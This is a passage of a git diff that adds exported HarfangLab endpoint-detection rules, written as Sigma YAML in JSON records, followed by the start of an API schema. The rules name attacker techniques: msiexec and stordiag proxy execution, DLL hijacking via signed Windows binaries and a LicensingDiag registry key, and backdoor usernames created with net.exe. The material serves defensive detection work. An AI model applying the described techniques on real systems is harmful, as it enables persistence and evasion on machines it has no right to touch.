'?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\setup.exe'\n            - '?:\\ProgramData\\ESET\\RemoteAdministrator\\Agent\\EraAgentApplicationData\\Data\\UpdaterService.exe'\n            - '?:\\Program Files\\Microsoft Azure AD Connect Health Sync Agent\\Monitor\\Microsoft.Online.Reporting.MonitoringAgent.Updater.exe'\n            - '?:\\Program Files\\Dell\\SupportAssistAgent\\bin\\SupportAssistInstaller.exe'\n            - '?:\\Windows\\System32\\drvinst.exe'\n            - '?:\\Windows\\CCM\\Ccm32BitLauncher.exe'\n            - '?:\\Windows\\SoftwareDistribution\\Download\\Install\\msoledbsql??_x64_???.exe'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\Microsoft.Management.Services.IntuneWindowsAgent.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\dcconfig.exe'\n            - '?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe'\n        - ParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_grandparent:\n        - GrandparentImage:\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\sdistbat.exe'\n            - '?:\\Program Files\\MobiGame\\MobiGameUpdater.exe'\n            - '?:\\Windows\\System32\\wuauclt.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n            - '?:\\ProgramData\\NinjaRMMAgent\\download\\ninja_splashtop_streamer.exe'\n            - '?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\Microsoft.Management.Services.IntuneWindowsAgent.exe'\n            - '?:\\Program Files\\AMD\\CCC2\\Install\\ccc2_install.exe'\n            - '?:\\Windows\\CCM\\Ccm32BitLauncher.exe'\n        - GrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_ivanti:\n        ParentImage|endswith:\n            - '\\STPlatformUpdater.exe'\n            - '\\STPlatformUpdater64.exe'\n        # msiexec.exe /i AgentInstaller.msi /qn INSTALLCOOKIE=1697e81f-d0e9-b141-9cd0-d475dc1e0d1c SERVERURI=https://xxx.domaine.com:3121 ISSUERCERTIFICATE=C:\\WINDOWS\\Temp\\fb72689b-2d4c-3079-a896-7fbca5324b0f\\f5beaf08548237b3a5b5ada06590419b.cer /liwearucmox C:\\Windows\\Temp\\STPlatformInstall_20220629_074830.log REBOOT=ReallySuppress /norestart\n        CommandLine|contains|all:\n            - 'msiexec.exe /i AgentInstaller.msi /qn '\n            - '/liwearucmox'\n            - 'SERVERURI='\n            - ' REBOOT=ReallySuppress /norestart'\n\n    exclusion_ccm:\n        ProcessParentCommandLine|startswith: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\WINDOWS\\ccmcache\\'\n\n    exclusion_remote:\n        ProcessParentCommandLine: 'msiexec /i \\\\\\\\*'\n\n    condition: selection and\n               (\n                (selection_install and not 1 of exclusion_*) or\n                 selection_parent_cmd or\n                (selection_dllregisterserver and not exclusion_directory)\n               ) and not 1 of filter_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fef9352b-f1be-4144-be70-7134db04d446",
+  "rule_name": "Suspicious msiexec.exe Execution",
+  "rule_description": "Detects suspicious execution of the legitimate Windows binary msiexec.exe.\nAdversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).\nIt is recommended to verify the legitimity of the MSI file.\n",
+  "rule_creation_date": "2021-07-09",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.007",
+    "attack.t1546.016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ff11817e-b808-44b5-987d-f621e52b3bef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070200Z",
+  "creation_date": "2026-03-23T11:45:34.070202Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070208Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1569441172061585409",
+    "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/",
+    "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1",
+    "https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf",
+    "https://assets.sentinelone.com/sentinellabs22/SentinelLabs-BlackBasta",
+    "https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ",
+    "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/",
+    "https://attack.mitre.org/techniques/T1078",
+    "https://attack.mitre.org/techniques/T1098",
+    "https://attack.mitre.org/techniques/T1136/"
+  ],
+  "name": "t1078_suspicious_user_creation_through_net.yml",
+  "content": "title: Suspicious User Created via net.exe\nid: ff11817e-b808-44b5-987d-f621e52b3bef\ndescription: |\n    Detects the execution of net1.exe in order to create suspicious users.\n    This is often used by attackers to evade defense and keep persistence.\n    This rule detects usernames that have already been used by attackers in the past.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://twitter.com/malmoeb/status/1569441172061585409\n    - https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/\n    - https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1\n    - https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf\n    - https://assets.sentinelone.com/sentinellabs22/SentinelLabs-BlackBasta\n    - https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ\n    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/\n    - https://attack.mitre.org/techniques/T1078\n    - https://attack.mitre.org/techniques/T1098\n    - https://attack.mitre.org/techniques/T1136/\ndate: 2022/09/28\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1078\n    - attack.t1098\n    - attack.persistence\n    - attack.t1136\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.AccountManipulation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_net:\n        - Image|endswith: '\\net1.exe'\n        - OriginalFileName: 'net1.exe'\n    selection_user:\n        CommandLine|contains: ' user'\n    selection_add:\n        CommandLine|contains:\n            - '/add'\n            - '\\add'\n            - '-add'\n    selection_suspicious_user:\n        CommandLine|contains:\n            - ' z '\n            - ' zz '\n            - ' Mysql '\n            - ' DefaultAccount '\n            - ' DefaultAccount? '\n            - ' admina '\n            - ' Crackenn '\n            - ' krtbgt '\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ff11817e-b808-44b5-987d-f621e52b3bef",
+  "rule_name": "Suspicious User Created via net.exe",
+  "rule_description": "Detects the execution of net1.exe in order to create suspicious users.\nThis is often used by attackers to evade defense and keep persistence.\nThis rule detects usernames that have already been used by attackers in the past.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-09-28",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078",
+    "attack.t1098",
+    "attack.t1136"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ff2d57de-576b-48a9-b92d-aee4a563ffe6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069468Z",
+  "creation_date": "2026-03-23T11:45:34.069470Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069475Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Stordiag/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1218_stordiag.yml",
+  "content": "title: Proxy Execution via stordiag.exe\nid: ff2d57de-576b-48a9-b92d-aee4a563ffe6\ndescription: |\n    Detects a suspicious execution of the Storage Diagnostic Tool (Stordiag.exe) to execute another binary.\n    Stordiag.exe executes different programs to perform its diagnostics (systeminfo.exe, fltMC.exe, schtasks.exe,...) but prioritizes executables in its working directories.\n    Attackers can proxy the execution of malicious payloads using the stordiag binary to evade detection.\n    It is recommended to analyze the process responsible for the execution of stordiag as well as to analyze all child processes for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Stordiag/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2022/02/07\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1574.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Stordiag\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # The following binaries can be spawned by stordiag.exe:\n    # - systeminfo.exe\n    # - fltMC.exe\n    # - schtasks.exe\n    # - LogMan.exe   # with -collectetw\n    # - fsutil.exe   # with -checkfsconsistency\n    # - cmd.exe      # with -checkfsconsistency\n    # - CHKDSK.exe   # with -checkfsconsistency\n    selection:\n        - Image|endswith: '\\stordiag.exe'\n        - OriginalFileName: 'stordiag.exe'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ff2d57de-576b-48a9-b92d-aee4a563ffe6",
+  "rule_name": "Proxy Execution via stordiag.exe",
+  "rule_description": "Detects a suspicious execution of the Storage Diagnostic Tool (Stordiag.exe) to execute another binary.\nStordiag.exe executes different programs to perform its diagnostics (systeminfo.exe, fltMC.exe, schtasks.exe,...) but prioritizes executables in its working directories.\nAttackers can proxy the execution of malicious payloads using the stordiag binary to evade detection.\nIt is recommended to analyze the process responsible for the execution of stordiag as well as to analyze all child processes for malicious content or actions.\n",
+  "rule_creation_date": "2022-02-07",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ff540b1f-d494-44b7-9446-7c0443c34d87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084409Z",
+  "creation_date": "2026-03-23T11:45:34.084411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084416Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_useraccountcontrolsettings.yml",
+  "content": "title: DLL Hijacking via useraccountcontrolsettings.exe\nid: ff540b1f-d494-44b7-9446-7c0443c34d87\ndescription: |\n    Detects potential Windows DLL Hijacking via useraccountcontrolsettings.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'useraccountcontrolsettings.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ff540b1f-d494-44b7-9446-7c0443c34d87",
+  "rule_name": "DLL Hijacking via useraccountcontrolsettings.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via useraccountcontrolsettings.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ff8c5702-d6ec-4d57-a6dc-8b3aa2a9d9d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094799Z",
+  "creation_date": "2026-03-23T11:45:34.094801Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094805Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/0gtweet/status/1827991604918890968",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_sideloading_licensing_diag.yml",
+  "content": "title: Possible LicensingDiag DLL Hijacking via Registry\nid: ff8c5702-d6ec-4d57-a6dc-8b3aa2a9d9d2\ndescription: |\n    Detects LicensingDiag registry key being set.\n    Adversaries can register different paths to this key for DLLs that will automatically get loaded when LicensingDiag.exe is launched.\n    It is recommended to investigate the DLLs in the paths listed in this key. Specifically the exported InitializeCollector() function which will be called by LicensingDiag.\nreferences:\n    - https://x.com/0gtweet/status/1827991604918890968\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/08/26\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\LicensingDiag\\'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ff8c5702-d6ec-4d57-a6dc-8b3aa2a9d9d2",
+  "rule_name": "Possible LicensingDiag DLL Hijacking via Registry",
+  "rule_description": "Detects LicensingDiag registry key being set.\nAdversaries can register different paths to this key for DLLs that will automatically get loaded when LicensingDiag.exe is launched.\nIt is recommended to investigate the DLLs in the paths listed in this key. Specifically the exported InitializeCollector() function which will be called by LicensingDiag.\n",
+  "rule_creation_date": "2024-08-26",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fff7590e-c14f-4958-bc97-138b82e6b832",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074062Z",
+  "creation_date": "2026-03-23T11:45:34.074065Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074070Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://live.paloaltonetworks.com/t5/blogs/diplomats-beware-cloaked-ursa-phishing-with-a-twist/ba-p/549960",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/techniques/T1571/"
+  ],
+  "name": "t1055_sihost_suspicious_network_communication.yml",
+  "content": "title: Suspicious sihost.exe Network Communication\nid: fff7590e-c14f-4958-bc97-138b82e6b832\ndescription: |\n    Detects network communications from sihost.exe.\n    This can be the result of a communication with a C&C server after an adversary injects malicious code inside a legitimate process in order to evade process-based defenses.\n    It is recommended to investigate the parent process performing this action and the destination IP address to determine the legitimacy of this behavior.\nreferences:\n    - https://live.paloaltonetworks.com/t5/blogs/diplomats-beware-cloaked-ursa-phishing-with-a-twist/ba-p/549960\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/techniques/T1571/\ndate: 2023/10/03\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.command_and_control\n    - attack.t1571\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.ProcessInjection\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sihost.exe'\n\n    filter_dstport:\n        DestinationPort: '135'\n\n    filter_linklocal_ipv6:\n        SourceIp: 'fe80::*'\n        DestinationIp: 'fe80::*'\n\n    filter_linklocal_ipv4:\n        DestinationIp|cidr:\n            - '127.0.0.0/8'     # RFC1122\n            - '192.168.0.0/16'  # RFC1918\n            - '172.16.0.0/12'   # RFC1918\n            - '10.0.0.0/8'      # RFC1918\n            - '169.254.0.0/16'  # RFC3927\n            - '100.64.0.0/10'   # RFC6598\n\n    exclusion_copytrans:\n        # api.copytrans.net\n        DestinationIp:\n            - '52.47.178.141'\n            - '54.149.145.98'\n        DestinationPort: '443'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fff7590e-c14f-4958-bc97-138b82e6b832",
+  "rule_name": "Suspicious sihost.exe Network Communication",
+  "rule_description": "Detects network communications from sihost.exe.\nThis can be the result of a communication with a C&C server after an adversary injects malicious code inside a legitimate process in order to evade process-based defenses.\nIt is recommended to investigate the parent process performing this action and the destination IP address to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2023-10-03",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
diff --git a/harfang_export/swagger.yaml b/harfang_export/swagger.yaml
new file mode 100644
index 0000000..3aee763
--- /dev/null
+++ b/harfang_export/swagger.yaml
@@ -0,0 +1,128022 @@
+basePath: /api
+consumes:
+  - application/json
+definitions:
+  AVScan:
+    properties:
+      paths:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      type:
+        enum:
+          - full
+          - quick
+          - resource
+        title: Type
+        type: string
+    required:
+      - type
+    type: object
+  AbstractPersistence:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      accountrun:
+        minLength: 1
+        title: Accountrun
+        type: string
+      action_type:
+        minLength: 1
+        title: Action type
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      application_name:
+        minLength: 1
+        title: Application name
+        type: string
+      arguments:
+        minLength: 1
+        title: Arguments
+        type: string
+      author:
+        minLength: 1
+        title: Author
+        type: string
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      clsid_description:
+        minLength: 1
+        title: Clsid description
+        type: string
+      clsid_name:
+        minLength: 1
+        title: Clsid name
+        type: string
+      clsid_timestamp:
+        format: date-time
+        title: Clsid timestamp
+        type: string
+      command:
+        minLength: 1
+        title: Command
+        type: string
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      creation_date:
+        format: date-time
+        title: Creation date
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      display_name:
+        minLength: 1
+        title: Display name
+        type: string
+      dll:
+        minLength: 1
+        title: Dll
+        type: string
+      dll_main:
+        minLength: 1
+        title: Dll main
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      fullpathname:
+        minLength: 1
+        title: Fullpathname
+        type: string
+      hidden:
+        title: Hidden
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_path:
+        minLength: 1
+        title: Image path
+        type: string
+      inprochandler:
+        minLength: 1
+        title: Inprochandler
+        type: string
+      inprochandler32:
+        minLength: 1
+        title: Inprochandler32
+        type: string
+      inprochandler32_timestamp:
+        format: date-time
+        title: Inprochandler32 timestamp
+        type: string
+      inprochandler_timestamp:
+        format: date-time
+        title: Inprochandler timestamp
+        type: string
+      inprocserver:
+        minLength: 1
+        title: Inprocserver
+        type: string
+      inprocserver32:
+        minLength: 1
+        title: Inprocserver32
+        type: string
+      inprocserver32_timestamp:
+        format: date-time
+        title: Inprocserver32 timestamp
+        type: string
+      inprocserver_timestamp:
+        format: date-time
+        title: Inprocserver timestamp
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      lastrun:
+        minLength: 1
+        title: Lastrun
+        type: string
+      localserver:
+        minLength: 1
+        title: Localserver
+        type: string
+      localserver32:
+        minLength: 1
+        title: Localserver32
+        type: string
+      localserver32_timestamp:
+        format: date-time
+        title: Localserver32 timestamp
+        type: string
+      localserver_timestamp:
+        format: date-time
+        title: Localserver timestamp
+        type: string
+      location:
+        minLength: 1
+        title: Location
+        type: string
+      mainfile_binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      parameter_timestamp:
+        minLength: 1
+        title: Parameter timestamp
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      principal_id:
+        minLength: 1
+        title: Principal id
+        type: string
+      run_level:
+        minLength: 1
+        title: Run level
+        type: string
+      security_descriptor:
+        minLength: 1
+        title: Security descriptor
+        type: string
+      service_name:
+        minLength: 1
+        title: Service name
+        type: string
+      service_start:
+        title: Service start
+        type: integer
+      service_start_str:
+        minLength: 1
+        title: Service start str
+        type: string
+      service_type:
+        title: Service type
+        type: integer
+      service_type_str:
+        minLength: 1
+        title: Service type str
+        type: string
+      short_name:
+        minLength: 1
+        title: Short name
+        type: string
+      target_arguments:
+        minLength: 1
+        title: Target arguments
+        type: string
+      target_path:
+        minLength: 1
+        title: Target path
+        type: string
+      task_parameters:
+        minLength: 1
+        title: Task parameters
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      treatas:
+        minLength: 1
+        title: Treatas
+        type: string
+      treatas_timestamp:
+        format: date-time
+        title: Treatas timestamp
+        type: string
+      triggers:
